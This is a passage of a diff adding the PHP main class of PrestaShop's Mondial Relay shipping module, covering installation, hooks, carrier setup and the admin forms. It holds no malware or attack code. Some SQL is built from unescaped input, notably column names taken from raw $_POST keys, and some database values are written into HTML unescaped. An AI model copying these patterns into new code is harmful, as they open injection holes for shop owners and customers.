'shipping_logistics'; + $this->version = '1.8.9'; + $this->installed_version = ''; + $this->module_key = '366584e511d311cfaa899fc2d9ec1bd0'; + $this->author = 'PrestaShop'; + + parent::__construct(); + + $this->displayName = $this->l('Mondial Relay'); + $this->description = $this->l('Deliver in Relay points'); + + /** Backward compatibility */ + require(_PS_MODULE_DIR_.'/mondialrelay/backward_compatibility/backward.php'); + + self::initModuleAccess(); + + // Call everytime to prevent the change of the module by a recent one + $this->_updateProcess(); + $this->initAccount(); + + // Check if it's a mondialrelay ajax query + $this->checkAJAX(); + } + + public function install() + { + if (!parent::install()) + return false; + + if (!$this->registerHookByVersion()) + return false; + + if ((!file_exists(MondialRelay::$modulePath.MondialRelay::INSTALL_SQL_FILE)) || + (!$sql = file_get_contents(MondialRelay::$modulePath.MondialRelay::INSTALL_SQL_FILE))) + return false; + + $sql = str_replace('PREFIX_', _DB_PREFIX_, $sql); + $sql = preg_split("/;\s*[\r\n]+/", $sql); + foreach($sql AS $k => $query) + if (!empty($query)) + Db::getInstance()->execute(trim($query)); + + $result = Db::getInstance()->getRow(' + SELECT id_tab + FROM `' . _DB_PREFIX_ . 'tab` + WHERE class_name="AdminMondialRelay"'); + + if (!$result) + { + $tab = new Tab(); + $languages = Language::getLanguages(false); + foreach ($languages as $language) + $tab->name[$language['id_lang']] = 'Mondial Relay'; + $tab->class_name = 'AdminMondialRelay'; + $tab->module = 'mondialrelay'; + $tab->id_parent = Tab::getIdFromClassName('AdminOrders'); + + if (!$tab->add()) + return false; + + if (is_dir(_PS_MODULE_DIR_.'mondialrelay/')) + @copy(_PS_MODULE_DIR_.'mondialrelay/AdminMondialRelay.gif', _PS_IMG_DIR_.'/AdminMondialRelay.gif'); + } + + // If module isn't installed, set default value + if (!Configuration::get('MONDIAL_RELAY')) + { + Configuration::updateValue('MONDIAL_RELAY', $this->version); + Configuration::updateValue('MONDIAL_RELAY_SECURE_KEY', md5(time().rand(0,10))); + } + else + { + $query = 'UPDATE `'._DB_PREFIX_.'carrier` c, `'._DB_PREFIX_.'mr_method` m + SET c.`deleted` = 0 + WHERE c.`id_carrier` = m.`id_carrier` + AND m.`is_deleted` = 0'; + + // Reactive transport if database wasn't remove at the last uninstall + Db::getInstance()->execute($query); + } + return true; + } + + /* + ** Return the token depend of the type + */ + static public function getToken($type = 'front') + { + return ($type == 'front') ? MondialRelay::$MRFrontToken : (($type == 'back') ? + MondialRelay::$MRBackToken : NULL); + } + + /* + ** Register hook depending of the Prestashop version used + */ + private function registerHookByVersion() + { + if (_PS_VERSION_ >= '1.3' && + (!$this->registerHook('extraCarrier') || + !$this->registerHook('updateCarrier') || + !$this->registerHook('newOrder') || + !$this->registerHook('BackOfficeHeader') || + !$this->registerHook('header'))) + return false; + + if (_PS_VERSION_ >= '1.4' && + (!$this->registerHook('processCarrier') || + !$this->registerHook('orderDetail') || + !$this->registerHook('orderDetailDisplayed') || + !$this->registerHook('paymentTop'))) + return false; + return true; + } + + public function uninstallCommonData() + { + // Tab uninstall + if (($id_tab = Tab::getIdFromClassName('AdminMondialRelay'))) + { + $tab = new Tab($id_tab); + $tab->delete(); + } + + if (!Db::getInstance()->execute(' + UPDATE '._DB_PREFIX_.'carrier c, '._DB_PREFIX_.'mr_method m + SET c.`deleted` = 1 + WHERE c.`id_carrier` = m.`id_carrier`')) + return false; + + return true; + } + + public function uninstall() + { + if (!parent::uninstall()) + return false; + + // Uninstall data that doesn't need to be keep + if (!$this->uninstallCommonData()) + return false; + + if (Tools::getValue('keepDatabase')) + return true; + + Configuration::deleteByName('MR_ACCOUNT_DETAIL'); + + // Drop databases + if (!Db::getInstance()->execute(' + DROP TABLE + '._DB_PREFIX_ .'mr_history, + '._DB_PREFIX_ .'mr_method, + '._DB_PREFIX_ .'mr_selected, + '._DB_PREFIX_ .'mr_method_shop')) + { + // If drop failed, try to turn off the carriers + Db::getInstance()->execute(' + UPDATE '._DB_PREFIX_.'carrier c, '._DB_PREFIX_.'mr_method m + SET c.`deleted` = 1 + WHERE c.`id_carrier` = m.`id_carrier`'); + return false; + } + return true; + } + + /** + * Launch upgrade process for 1.3 and 1.4 + */ + public function runUpgrade() + { + // List of upgraded version existing + $files_version = array('1.8.0', '1.8.3'); + + $upgrade_path = dirname(__FILE__).'/upgrade/'; + if (_PS_VERSION_ < '1.5') + foreach ($files_version as $version) + { + $file = $upgrade_path.'install-'.$version.'.php'; + if ($this->installed_version < $version && file_exists($file)) + { + include_once($file); + call_user_func('upgrade_module_'.str_replace('.', '_', $version), $this); + } + } + } + + /* + ** UpdateProcess if merchant update the module without a + ** normal installation + */ + private function _updateProcess() + { + if (Module::isInstalled('mondialrelay') && + (($this->installed_version = Configuration::get('MONDIAL_RELAY')) || + $this->installed_version = Configuration::get('MONDIAL_RELAY_1_4')) + && $this->installed_version < $this->version) + $this->runUpgrade(); + } + + /* + ** Get the content to ask for a backup of the database + */ + private function askForBackup($href) + { + return 'return PS_MRObject.uninstall(\''.$href.'\');'; + } + + /* + ** OnClick for input fields under the module list fields action + */ + public function onclickOption($type, $href = false) + { + $content = ''; + + switch($type) + { + case 'desactive': + break; + case 'reset': + break; + case 'delete': + break; + case 'uninstall': + $content = $this->askForBackup($href); + break; + default: + } + return $content; + } + + /** + * Init the account_shop variable with the account detail for this shop + */ + public function initAccount() + { + // Get default value + $id_order_state = $this->account_shop['MR_ORDER_STATE']; + + if (($account_shop_stored = MondialRelay::getAccountDetail())) + $this->account_shop = $account_shop_stored; + + // Normally, this can't happen... + if (empty($this->account_shop['MR_ORDER_STATE'])) + $this->account_shop['MR_ORDER_STATE'] = $id_order_state; + } + + /* + ** Init the access directory module for URL and file system + ** Allow a compatibility for Presta < 1.4 + */ + public static function initModuleAccess() + { + MondialRelay::$modulePath = _PS_MODULE_DIR_. 'mondialrelay/'; + MondialRelay::$MRFrontToken = sha1('mr'._COOKIE_KEY_.'Front'); + MondialRelay::$MRBackToken = sha1('mr'._COOKIE_KEY_.'Back'); + MondialRelay::$moduleURL = __PS_BASE_URI__.'modules/mondialrelay/'; + } + + public function fetchTemplate($path, $name) + { + if (_PS_VERSION_ < '1.4') + $this->context->smarty->currentTemplate = $name; + + return $this->context->smarty->fetch(dirname(__FILE__).$path.$name.'.tpl'); + } + + public function hookNewOrder($params) + { + if (!MondialRelay::isMondialRelayCarrier($params['cart']->id_carrier)) + return; + + DB::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'mr_selected` + SET `id_order` = '.(int)$params['order']->id.' + WHERE `id_cart` = '.(int)$params['cart']->id); + } + + public function hookBackOfficeHeader() + { + $overload_current_jquery = false; + if (Tools::getValue('tab') == 'AdminMondialRelay') + $overload_current_jquery = true; + + $this->context->smarty->assign(array( + 'MR_token' => MondialRelay::$MRBackToken, + 'MR_jQuery_overload_type' => true, + 'new_base_dir' => MondialRelay::$moduleURL, + 'MR_local_path' => MondialRelay::$modulePath, + 'MR_overload_current_jquery' => $overload_current_jquery, + 'MR_account_set' => MondialRelay::isAccountSet() + )); + return $this->fetchTemplate('/tpl/', 'bo-header'); + } + + public function hookOrderDetail($params) + { + if (!Mondialrelay::isMondialRelayCarrier($params['order']->id_carrier)) + return ; + + $order = $params['order']; + + if (!empty($order->shipping_number)) + $this->context->smarty->assign('followup', $this->get_followup($order->shipping_number)); + } + + public function hookOrderDetailDisplayed($params) + { + if (!Mondialrelay::isMondialRelayCarrier($params['order']->id_carrier)) + return ''; + + $res = Db::getInstance()->getRow(' + SELECT s.`MR_Selected_LgAdr1`, s.`MR_Selected_LgAdr2`, s.`MR_Selected_LgAdr3`, s.`MR_Selected_LgAdr4`, + s.`MR_Selected_CP`, s.`MR_Selected_Ville`, s.`MR_Selected_Pays`, s.`MR_Selected_Num`, s.`url_suivi` + FROM `'._DB_PREFIX_.'mr_selected` s + WHERE s.`id_cart` = '.$params['order']->id_cart); + + if ((!$res) OR ($res['MR_Selected_Num'] == 'LD1') OR ($res['MR_Selected_Num'] == 'LDS')) + return ''; + + $this->context->smarty->assign( + array( + 'mr_addr' => $res['MR_Selected_LgAdr1']. + ($res['MR_Selected_LgAdr1'] ? ' - ' : '').$res['MR_Selected_LgAdr2']. + ($res['MR_Selected_LgAdr2'] ? ' - ' : '').$res['MR_Selected_LgAdr3']. + ($res['MR_Selected_LgAdr3'] ? ' - ' : '').$res['MR_Selected_LgAdr4']. + ($res['MR_Selected_LgAdr4'] ? ' - ' : '').$res['MR_Selected_CP'].' '. + $res['MR_Selected_Ville'].' - '.$res['MR_Selected_Pays'], + 'mr_url' => $res['url_suivi'])); + + return $this->fetchTemplate('/tpl/', 'order_detail'); + } + + /* + ** Update the carrier id to use the new one if changed + */ + public function hookupdateCarrier($params) + { + if ($params['id_carrier'] != $params['carrier']->id) + { + // Get the old id_mr_method + $id_mr_method = Db::getInstance()->getValue(' + SELECT id_mr_method FROM `'._DB_PREFIX_.'mr_method` + WHERE id_carrier='. (int)$params['id_carrier']); + + // Insert new entry keeping the last one linked to the id_carrier + $query = ' + INSERT INTO `'._DB_PREFIX_.'mr_method` + (name, country_list, col_mode, dlv_mode, insurance, id_carrier) + ( + SELECT + "'.pSQL($params['carrier']->name).'", + country_list, + col_mode, + dlv_mode, + insurance, + '.(int)$params['carrier']->id.' + FROM `'._DB_PREFIX_.'mr_method` + WHERE id_carrier ='.(int)$params['id_carrier'].')'; + Db::getInstance()->execute($query); + + // Do the same process for the multishop table + $query = ' + INSERT INTO `'._DB_PREFIX_.'mr_method_shop` + (id_mr_method, id_shop) + ( + SELECT + '.(int)Db::getInstance()->INSERT_ID().', + id_shop + FROM `'._DB_PREFIX_.'mr_method_shop` + WHERE id_mr_method ='.(int)$id_mr_method.')'; + Db::getInstance()->execute($query); + + // Set the last mr_method to delete + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'mr_method` SET `is_deleted` = 1 + WHERE `id_mr_method` = '.(int)$id_mr_method); + } + } + + /** + * Get a carrier list liable to the module + * + * @return array + */ + public function _getCarriers() + { + // Query don't use the external_module_name to keep the + // 1.3 compatibility + $query = ' + SELECT c.id_carrier, c.range_behavior, m.id_mr_method, + m.dlv_mode, cl.delay + FROM `'._DB_PREFIX_.'mr_method` m + LEFT JOIN `'._DB_PREFIX_.'carrier` c + ON c.`id_carrier` = m.`id_carrier` + LEFT JOIN `'._DB_PREFIX_.'carrier_lang` cl + ON c.`id_carrier` = cl.`id_carrier` + LEFT JOIN `'._DB_PREFIX_.'mr_method_shop` ms + ON m.`id_mr_method` = ms.`id_mr_method` + WHERE c.`deleted` = 0 + AND ms.`id_shop` = '.$this->account_shop['id_shop'] .' + AND cl.id_lang = '.$this->context->language->id .' + AND c.`active` = 1 + AND m.`is_deleted` = 0'; + + $carriers = Db::getInstance()->executeS($query); + + if (!is_array($carriers)) + $carriers = array(); + return $carriers; + } + + /** + * Get a specific method entry detail by a defined id_carrier + * + * @static + * @param $id_carrier + * @return array + */ + public static function getMethodByIdCarrier($id_carrier) + { + return Db::getInstance()->getRow(' + SELECT * FROM `'._DB_PREFIX_.'mr_method` m + WHERE m.`id_carrier` = '.(int)$id_carrier); + } + + /* + ** Added to be used properly with OPC + */ + public function hookHeader($params) + { + if (!($file = basename(Tools::getValue('controller')))) + $file = str_replace('.php', '', basename($_SERVER['SCRIPT_NAME'])); + + if (in_array($file, array('order-opc', 'order', 'orderopc'))) + { + $this->context->smarty->assign( + array( + 'one_page_checkout' => (Configuration::get('PS_ORDER_PROCESS_TYPE') ? Configuration::get('PS_ORDER_PROCESS_TYPE') : 0), + 'warning_message' => $this->l('You need to select a dropp-off point before going to the next step.'), + 'new_base_dir' => MondialRelay::$moduleURL, + 'MR_local_path' => MondialRelay::$modulePath, + 'MRToken' => MondialRelay::$MRFrontToken, + 'MR_overload_current_jquery' => false + ) + ); + return $this->fetchTemplate('/tpl/', 'header'); + } + return ''; + } + + public function hookExtraCarrier($params) + { + // TODO : Makes it work with multi-shipping + if (!MondialRelay::isAccountSet()) + return ''; + + $id_carrier = false; + $preSelectedRelay = $this->getRelayPointSelected($this->context->cart->id); + $carriersList = MondialRelay::_getCarriers(); + $address = new Address($this->context->cart->id_address_delivery); + $id_zone = Address::getZoneById((int)($address->id)); + + // Check if the defined carrier are ok + foreach ($carriersList as $k => $row) + { + // For now works only with single shipping (>= 1.5 compatibility) + if (method_exists($this->context->cart, 'carrierIsSelected')) + if ($this->context->cart->carrierIsSelected($row['id_carrier'], $params['address']->id)) + $id_carrier = $row['id_carrier']; + + // Temporary carrier for some test + $carrier = new Carrier((int)($row['id_carrier'])); + if ((Configuration::get('PS_SHIPPING_METHOD') && $carrier->getMaxDeliveryPriceByWeight($id_zone) === false) || + (!Configuration::get('PS_SHIPPING_METHOD') && $carrier->getMaxDeliveryPriceByPrice($id_zone) === false)) + unset($carriersList[$k]); + else if ($row['range_behavior']) + { + // Get id zone + $id_zone = (isset($this->context->cart->id_address_delivery) && $this->context->cart->id_address_delivery) ? + Address::getZoneById((int)$this->context->cart->id_address_delivery) : + (int)$this->context->country->id_zone; + + if ((Configuration::get('PS_SHIPPING_METHOD') && (!Carrier::checkDeliveryPriceByWeight($row['id_carrier'], $this->context->cart->getTotalWeight(), $id_zone))) || + (!Configuration::get('PS_SHIPPING_METHOD') && + (!Carrier::checkDeliveryPriceByPrice($row['id_carrier'], $this->context->cart->getOrderTotal(true, MondialRelay::BOTH_WITHOUT_SHIPPING), $id_zone, $this->context->cart->id_currency) || + !Carrier::checkDeliveryPriceByPrice($row['id_carrier'], $this->context->cart->getOrderTotal(true, MondialRelay::BOTH_WITHOUT_SHIPPING), $id_zone, $this->context->cart->id_currency)))) + unset($carriersList[$k]); + } + } + + $carrier = NULL; + + if (_PS_VERSION_ >= '1.5') + $id_carrier = (int)$this->context->cart->id_carrier; + + if ($id_carrier && ($method = MondialRelay::getMethodByIdCarrier($id_carrier))) + { + $carrier = new Carrier((int)$id_carrier); + // Add dynamically a new field + $carrier->id_mr_method = $method['id_mr_method']; + $carrier->mr_dlv_mode = $method['dlv_mode']; + } + + $this->context->smarty->assign( + array( + 'MR_Data'=> MRTools::jsonEncode( + array( + 'carrier_list' => $carriersList, + 'carrier' => $carrier, + 'PS_VERSION' => _PS_VERSION_, + 'pre_selected_relay' => isset($preSelectedRelay['MR_selected_num']) ? $preSelectedRelay['MR_selected_num'] : 0, + ) + ) + ) + ); + + return $this->fetchTemplate('/tpl/', 'checkout_process'); + } + + /** + * Return the detailed account + * + * @static + * @return mixed + */ + public static function getAccountDetail() + { + return unserialize(Configuration::get('MR_ACCOUNT_DETAIL')); + } + + /** + * Check if the account is set + * + * @static + * @return bool + */ + public static function isAccountSet() + { + $details = MondialRelay::getAccountDetail(); + + if (!$details || !count($details)) + return false; + + foreach($details as $name => $value) + if (empty($value)) + return false; + + return true; + } + + /** + * Check any submitted form + */ + private function _postValidation() + { + // Account settings form validation + if (Tools::isSubmit('submit_account_detail')) + { + if (Tools::getValue('MR_enseigne_webservice') == '' || !preg_match("#^[0-9A-Z]{2}[0-9A-Z ]{6}$#", Tools::getValue('MR_enseigne_webservice'))) + $this->_postErrors[] = $this->l('Invalid Enseigne'); + if (Tools::getValue('MR_code_marque') == '' || !preg_match("#^[0-9]{2}$#", Tools::getValue('MR_code_marque'))) + $this->_postErrors[] = $this->l('Invalid Mark code'); + if (Tools::getValue('MR_webservice_key') == '' || !preg_match("#^[0-9A-Za-z_\'., /\-]{2,32}$#", Tools::getValue('MR_webservice_key'))) + $this->_postErrors[] = $this->l('Invalid Webservice Key'); + if (Tools::getValue('MR_language') == '' || !preg_match("#^[A-Z]{2}$#", Tools::getValue('MR_language'))) + $this->_postErrors[] = $this->l('Invalid Language'); + if (!Tools::getValue('MR_weight_coefficient') OR !Validate::isInt(Tools::getValue('MR_weight_coefficient'))) + $this->_postErrors[] = $this->l('Invalid Weight Coefficient'); + } + + // Shipping form validation + else if (Tools::isSubmit('submitMethod')) + { + if (!preg_match("#^[0-9A-Za-z_\'., /\-]{2,32}$#", Tools::getValue('mr_Name'))) + $this->_postErrors[] = $this->l('Invalid carrier name'); + if (Tools::getValue('mr_ModeCol') != 'CCC') + $this->_postErrors[] = $this->l('Invalid Col mode'); + if (!preg_match("#^REL|24R|ESP|DRI|LDS|LDR|LD1$#", Tools::getValue('mr_ModeLiv'))) + $this->_postErrors[] = $this->l('Invalid delivery mode'); + if (!Validate::isInt(Tools::getValue('mr_ModeAss')) OR Tools::getValue('mr_ModeAss') > 5 OR Tools::getValue('mr_ModeAss') < 0) + $this->_postErrors[] = $this->l('Invalid Assurance mode'); + if (!Tools::getValue('mr_Pays_list')) + $this->_postErrors[] = $this->l('You must choose at least one delivery country.'); + } + + // Order state form validation + else if (Tools::isSubmit('submit_order_state')) + { + if (!Validate::isUnsignedInt(Tools::getValue('id_order_state'))) + $this->_postErrors[] = $this->l('Invalid order state'); + } + } + + /** + * Update account shop + * + * @return bool + */ + public function updateAccountShop() + { + return Configuration::updateValue('MR_ACCOUNT_DETAIL', serialize($this->account_shop)); + } + + /** + * Post process + * + * @return array + */ + private function _postProcess() + { + $post_action = array( + 'type' => Tools::getValue('MR_tab_name'), + 'message_success' => $this->l('Action Succeed'), + 'had_errors' => false + ); + + if (Tools::isSubmit('submit_account_detail')) + { + $this->account_shop = array( + 'MR_ENSEIGNE_WEBSERVICE' => Tools::getValue('MR_enseigne_webservice'), + 'MR_CODE_MARQUE' => Tools::getValue('MR_code_marque'), + 'MR_KEY_WEBSERVICE' => Tools::getValue('MR_webservice_key'), + 'MR_LANGUAGE' => Tools::getValue('MR_language'), + 'MR_ORDER_STATE' => $this->account_shop['MR_ORDER_STATE'], + 'MR_WEIGHT_COEFFICIENT' => Tools::getValue('MR_weight_coefficient'), + 'id_shop' => $this->context->shop->id + ); + + if ($this->updateAccountShop()) + $post_action['message_success'] = $this->l('Account detail has been updated'); + else + $this->_postErrors[] = $this->l('Cannot Update the account shop'); + } + + else if (Tools::isSubmit('submit_add_shipping')) + { + if (($result = $this->addShippingMethod())) + $post_action['message_success'] = $this->l('Shipping method has been added'); + } + + else if (Tools::isSubmit('submit_order_state')) + { + Configuration::updateValue('MONDIAL_RELAY_ORDER_STATE', Tools::getValue('id_order_state')); + $post_action['message_success'] = $this->l('Order state properly changed'); + } + + else if (($id_mr_method = Tools::getValue('delete_mr')) && $this->disableCarrier((int)$id_mr_method)) + $post_action['message_success'] = $this->l('Carrier has been deleted (disabled under the prestashop database)'); + + if (count($this->_postErrors)) + $post_action['had_errors'] = true; + + return $post_action; + } + + public function getContent() + { + $post_action = NULL; + if (!empty($_POST)) + { + $this->_postValidation(); + if (!sizeof($this->_postErrors)) + $post_action = $this->_postProcess(); + } + + $carriers_list = Db::getInstance()->executeS(' + SELECT m.* + FROM `'._DB_PREFIX_.'mr_method` m + LEFT JOIN `'._DB_PREFIX_.'carrier` c + ON (c.`id_carrier` = m.`id_carrier`) + LEFT JOIN `'._DB_PREFIX_.'mr_method_shop` ms + ON ms.`id_mr_method` = m.`id_mr_method` + WHERE c.`deleted` = 0 AND ms.`id_shop` = '.(int)$this->account_shop['id_shop']); + + $controller = (_PS_VERSION_ < '1.5') ? 'AdminContact' : 'AdminStores'; + + // TODO : Fill an array with admi controller name + $this->context->smarty->assign(array( + 'MR_token_admin_performance' => Tools::getAdminToken('AdminPerformance'.(int)(Tab::getIdFromClassName('AdminPerformance')).(int)($this->context->cookie->id_employee)), + 'MR_token_admin_carriers' => Tools::getAdminToken('AdminCarriers'.(int)(Tab::getIdFromClassName('AdminCarriers')).(int)$this->context->employee->id), + 'MR_token_admin_contact' => array( + 'controller_name' => $controller, + 'token' => Tools::getAdminToken($controller.(int)(Tab::getIdFromClassName($controller)).(int)$this->context->employee->id)), + 'MR_token_admin_mondialrelay' => Tools::getAdminToken('AdminMondialRelay'.(int)(Tab::getIdFromClassName('AdminMondialRelay')).(int)$this->context->employee->id), + 'MR_token_admin_module' => Tools::getAdminToken('AdminModules'.(int)(Tab::getIdFromClassName('AdminModules')).(int)$this->context->employee->id), + 'MR_enseigne_webservice' => Tools::getValue('MR_enseigne_webservice') ? Tools::getValue('MR_enseigne_webservice') : $this->account_shop['MR_ENSEIGNE_WEBSERVICE'], + 'MR_code_marque' => Tools::getValue('MR_code_marque') ? Tools::getValue('MR_code_marque') : $this->account_shop['MR_CODE_MARQUE'], + 'MR_webservice_key' => Tools::getValue('MR_webservice_key') ? Tools::getValue('MR_webservice_key') : $this->account_shop['MR_KEY_WEBSERVICE'], + 'MR_available_languages' => Language::getLanguages(), + 'MR_selected_language' => $this->account_shop['MR_LANGUAGE'], + 'MR_weight_coefficient' => Tools::getValue('MR_weight_coefficient') ? Tools::getValue('MR_weight_coefficient') : $this->account_shop['MR_WEIGHT_COEFFICIENT'], + 'MR_PS_WEIGHT_UNIT' => Configuration::get('PS_WEIGHT_UNIT'), + 'MR_order_states_list' => OrderState::getOrderStates($this->context->language->id), + 'MR_MONDIAL_RELAY_ORDER_STATE' => Configuration::get('MONDIAL_RELAY_ORDER_STATE'), + 'MR_CRON_URL' => Tools::getHttpHost(true, true)._MODULE_DIR_.$this->name.'/cron.php?secure_key='.Configuration::get('MONDIAL_RELAY_SECURE_KEY'), + 'MR_name' => Tools::getValue('MR_name') ? Tools::getValue('MR_name') : '', + 'MR_carriers_list' => $carriers_list, + 'MR_error_list' => $this->_postErrors, + 'MR_form_action' => $post_action, + 'MR_PS_ADMIN_IMG_' => _PS_ADMIN_IMG_, + 'MR_tab_selected' => Tools::getValue('MR_tab_name') ? Tools::getValue('MR_tab_name') : (MondialRelay::isAccountSet() ? 'account_form' : 'info_form'), + 'MR_delay' => Tools::getValue('MR_delay') ? Tools::getValue('MR_delay') : '', + 'MR_local_path' => MondialRelay::$modulePath, + 'MR_upgrade_detail' => $this->upgrade_detail, + 'MR_unit_weight_used' => Configuration::get('PS_WEIGHT_UNIT'), + 'MR_account_set' => MondialRelay::isAccountSet(), + 'MR_base_dir' => MondialRelay::$moduleURL) + ); + return $this->fetchTemplate('/tpl/', 'configuration'); + } + + /** + * Add new carrier + * + * @param $name + * @param $delay + * @return bool|int + */ + private function addCarrier($name, $delay) + { + $ret = false; + + if (($carrier = new Carrier())) + { + $delay_lang = array(); + foreach (Language::getLanguages(false) as $lang) + $delay_lang[$lang['id_lang']] = $delay; + $carrier->name = $name; + $carrier->active = 1; + $carrier->range_behavior = 1; + $carrier->need_range = 1; + $carrier->external_module_name = 'mondialrelay'; + $carrier->shipping_method = 1; + $carrier->delay = $delay_lang; + $carrier->is_module = (_PS_VERSION_ < '1.4') ? 0 : 1; + + $ret = $carrier->add(); + } + return $ret ? $carrier->id : false; + } + + public function displayInfoByCart($id_cart) + { + $html = '

        '; + $simpleresul = Db::getInstance()->executeS(' + SELECT * FROM ' . _DB_PREFIX_ . 'mr_selected + WHERE id_cart='.(int)($id_cart)); + + if (trim($simpleresul[0]['exp_number']) != '0') + $html .= $this->l('Nb expedition:').$simpleresul[0]['exp_number']."
        "; + if (trim($simpleresul[0]['url_etiquette']) != '0') + $html .= "".$this->l('Label URL')."
        "; + if (trim($simpleresul[0]['url_suivi']) != '0') + $html .= "".$this->l('Follow-up URL')."
        "; + if (trim($simpleresul[0]['MR_Selected_Num']) != '') + $html .= $this->l('Nb Point Relay :').$simpleresul[0]['MR_Selected_Num']."
        "; + if (trim($simpleresul[0]['MR_Selected_LgAdr1']) != '') + $html .= $simpleresul[0]['MR_Selected_LgAdr1']."
        "; + if (trim($simpleresul[0]['MR_Selected_LgAdr2']) != '') + $html .= $simpleresul[0]['MR_Selected_LgAdr2']."
        "; + if (trim($simpleresul[0]['MR_Selected_LgAdr3']) != '') + $html .= $simpleresul[0]['MR_Selected_LgAdr3']."
        "; + if (trim($simpleresul[0]['MR_Selected_LgAdr4']) != '') + $html .= $simpleresul[0]['MR_Selected_LgAdr4']."
        "; + if (trim($simpleresul[0]['MR_Selected_CP']) != '') + $html .= $simpleresul[0]['MR_Selected_CP']." "; + if (trim($simpleresul[0]['MR_Selected_Ville']) != '') + $html .= $simpleresul[0]['MR_Selected_Ville']."
        "; + if (trim($simpleresul[0]['MR_Selected_Pays']) != '') + $html .= $simpleresul[0]['MR_Selected_Pays']."
        "; + $html .= '

        '; + return $html; + } + + /** + * Set necessaries values to the created carrier + * + * @param $id_carrier + * @param $dlv_mode + * @return bool + */ + private function addDefaultCarrierValue($id_carrier, $dlv_mode) + { + $weight_coef = $this->account_shop['MR_WEIGHT_COEFFICIENT']; + + // Default Range value depending of the delivery mode + $range_weight = array( + '24R' => array(0, 20000 / $weight_coef), + 'DRI' => array(20000 / $weight_coef, 130000 / $weight_coef), + 'LD1' => array(0, 60000 / $weight_coef), + 'LDS' => array(30000 / $weight_coef, 130000 / $weight_coef) + ); + + // Set range weight for a dlv_mode + if (!Db::getInstance()->execute( + 'INSERT INTO `'._DB_PREFIX_.'range_weight` + (`id_carrier`, `delimiter1`, `delimiter2`) + VALUES ('.(int)$id_carrier.', '.$range_weight[$dlv_mode][0].', '.$range_weight[$dlv_mode][1].')')) + { + $this->_postErrors[] = $this->l('Range weight can\'t be added'); + return false; + } + + $range_weight_id = Db::getInstance()->Insert_ID(); + + // Set a range price + if (!Db::getInstance()->execute( + 'INSERT INTO `'._DB_PREFIX_.'range_price` + (`id_carrier`, `delimiter1`, `delimiter2`) + VALUES ('.(int)$id_carrier.', 0.000000, 10000.000000)')) + { + $this->_postErrors[] = $this->l('Range price can\'t be added'); + return false; + } + + $range_price_id = Db::getInstance()->Insert_ID(); + + $groups = Group::getGroups(Configuration::get('PS_LANG_DEFAULT')); + foreach ($groups as $group) + if (!Db::getInstance()->execute( + 'INSERT INTO `'._DB_PREFIX_.'carrier_group` + (id_carrier, id_group) + VALUES('.(int)$id_carrier.', '.(int)($group['id_group']).')')) + { + $this->_postErrors[] = $this->l('Default zone can\'t be added'); + return false; + } + + // Set default zone + $zones = Zone::getZones(); + foreach ($zones as $zone) + { + if (!Db::getInstance()->execute( + 'INSERT INTO `'._DB_PREFIX_.'carrier_zone` + (id_carrier, id_zone) + VALUES('.(int)$id_carrier.', '.(int)($zone['id_zone']).')') || + !Db::getInstance()->execute( + 'INSERT INTO `'._DB_PREFIX_.'delivery` + (id_carrier, id_range_price, id_range_weight, id_zone, price) + VALUES('.(int)$id_carrier.', '.(int)($range_price_id).', NULL,'.(int)($zone['id_zone']).', 0.00)') || + !Db::getInstance()->execute( + 'INSERT INTO `'._DB_PREFIX_.'delivery` + (id_carrier, id_range_price, id_range_weight, id_zone, price) + VALUES('.(int)$id_carrier.', NULL, '.(int)($range_weight_id).','.(int)($zone['id_zone']).', 0.00)')) + { + $this->_postErrors[] = $this->l('Carrier zone or delivery data can\'t be added'); + return false; + } + } + return true; + } + + /** + * Add new shipping method + * + * @return bool + */ + private function addShippingMethod() + { + // Insert new carrier for under Prestashop + if (!($id_carrier = $this->addCarrier(Tools::getValue('MR_name'), Tools::getValue('MR_delay')))) + { + $this->_postErrors[] = $this->l('Carrier can\'t be created in PrestaShop'); + return false; + } + + $fields = $_POST; + + unset($fields['submit_add_shipping'], $fields['MR_tab_name'], $fields['tab'], $fields['MR_delay']); + + // Force col mod to CCC + $fields['col_mode'] = 'CCC'; + $fields['id_carrier'] = $id_carrier; + + $query = 'INSERT INTO `'._DB_PREFIX_.'mr_method` (%s) VALUES(%s)'; + + $keys = array(); + $values = array(); + foreach($fields as $key => $value) + { + $keys[] = '`'.str_replace('MR_', '', $key).'`'; + $values[] = '\''.(is_array($value) ? pSQL(implode(',', $value)) : pSQL($value)).'\''; + } + $query = sprintf($query, implode(',',$keys), implode(',', $values)); + + if (!Db::getInstance()->execute($query) || + !Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'mr_method_shop` + (id_mr_method, id_shop) VALUES('.(int)Db::getInstance()->INSERT_ID().', '.(int)$this->account_shop['id_shop'].')')) + { + $this->l('Carrier method can\'t be added for the module'); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'carrier` WHERE id_carrier='.(int)$id_carrier); + return false; + } + + return $this->addDefaultCarrierValue($id_carrier, $fields['MR_dlv_mode']); + } + + /** + * Disable carrier instead of delete to keep history + * + * @param $id_mr_method + */ + public function disableCarrier($id_mr_method) + { + if (($id_carrier = Db::getInstance()->getValue( + 'SELECT `id_carrier` + FROM `'._DB_PREFIX_ .'mr_method` + WHERE `id_mr_method` = '.(int)($id_mr_method))) && + Db::getInstance()->execute( + 'UPDATE `'._DB_PREFIX_ .'carrier` c, `'._DB_PREFIX_ .'mr_method` m + SET c.`active` = 0, c.`deleted` = 1, m.`is_deleted` = 1 + WHERE + c.`id_carrier` = m.`id_carrier` + AND c.`id_carrier` = '.(int)$id_carrier)) + return true; + + $this->_postErrors = $this->l('Carrier can\'t be deleted yet'); + return false; + } + + /** + * Get the followup url + * + * @param $exp_number + * @return mixed + */ + public function get_followup($exp_number) + { + $query = ' + SELECT url_suivi + FROM '._DB_PREFIX_ .'mr_selected + WHERE exp_number='.(int)$exp_number; + + return Db::getInstance()->getValue($query); + } + + /** + * Get the SQL query to fetch order with mr carrier + * + * @static + * @param $id_order_state + * @param $weight_coefficient + * @return string + */ + public static function getBaseOrdersSQLQuery($id_order_state, $weight_coefficient = 0) + { + return 'SELECT o.`id_address_delivery` as id_address_delivery, + o.`id_order` as id_order, + o.`id_customer` as id_customer, + o.`id_cart` as id_cart, + o.`id_lang` as id_lang, + mrs.`id_mr_selected` as id_mr_selected, + CONCAT(c.`firstname`, " ", c.`lastname`) AS `customer`, + o.`total_paid_real` as total, o.`total_shipping` as shipping, + o.`date_add` as date, o.`id_currency` as id_currency, o.`id_lang` as id_lang, + mrs.`MR_poids` as mr_weight, mr.`name` as 